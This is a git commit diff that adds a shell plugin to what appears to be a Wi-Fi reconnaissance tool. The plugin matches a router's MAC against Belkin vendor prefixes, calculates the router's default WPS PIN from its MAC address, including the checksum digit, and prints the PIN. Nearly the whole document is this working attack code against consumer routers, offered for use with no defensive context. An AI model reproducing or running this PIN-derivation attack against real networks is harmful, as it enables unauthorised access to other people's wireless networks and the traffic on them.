diff options
author | lassulus <lass@aidsballs.de> | 2014-12-30 16:15:16 +0100 |
---|---|---|
committer | lassulus <lass@aidsballs.de> | 2014-12-30 16:15:16 +0100 |
commit | 4c82c9df30585a30db7adbdeef6b8df3d89ba98d (patch) | |
tree | 76fa179f5f7b0dac8b7821667713e65fd4bff989 /recon/inspector_wifi/plugins/11belkin_wps | |
parent | 127f434824695d3789e4c8ef4ef09e03cebf1343 (diff) |
move belkin plugin to correct dir
Diffstat (limited to 'recon/inspector_wifi/plugins/11belkin_wps')
-rwxr-xr-x | recon/inspector_wifi/plugins/11belkin_wps | 30 |
1 files changed, 30 insertions, 0 deletions
diff --git a/recon/inspector_wifi/plugins/11belkin_wps b/recon/inspector_wifi/plugins/11belkin_wps new file mode 100755 index 00000000..65448ad0 --- /dev/null +++ b/recon/inspector_wifi/plugins/11belkin_wps @@ -0,0 +1,30 @@ +#!/bin/sh + +cd $(dirname $(readlink -f $0)) +. ./plugin_core +parse_plugin_args "$@" + +if ! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B; then + echo "VENDOR MAC $VENDOR_MAC not affected" + exit 1 +fi + +calc_belkin(){ + PRIVATE_MAC=${1} + p=$((0x$PRIVATE_MAC % 10000000)) + wps_pin_checksum(){ + pin=$1 + accum=0 + while [ $pin -ne 0 ];do + accum=$((accum + (3 * (pin % 10)) )) + pin=$((pin/10)) + accum=$((accum + pin %10 )) + pin=$((pin/10)) + done + echo $(( (10 - accum % 10) % 10)) + } + printf "%07d%d" $p $(wps_pin_checksum $p) + return 0 +} + +printf "WPS-PIN: %s" $(calc_belkin ${PRIVATE_MAC}) |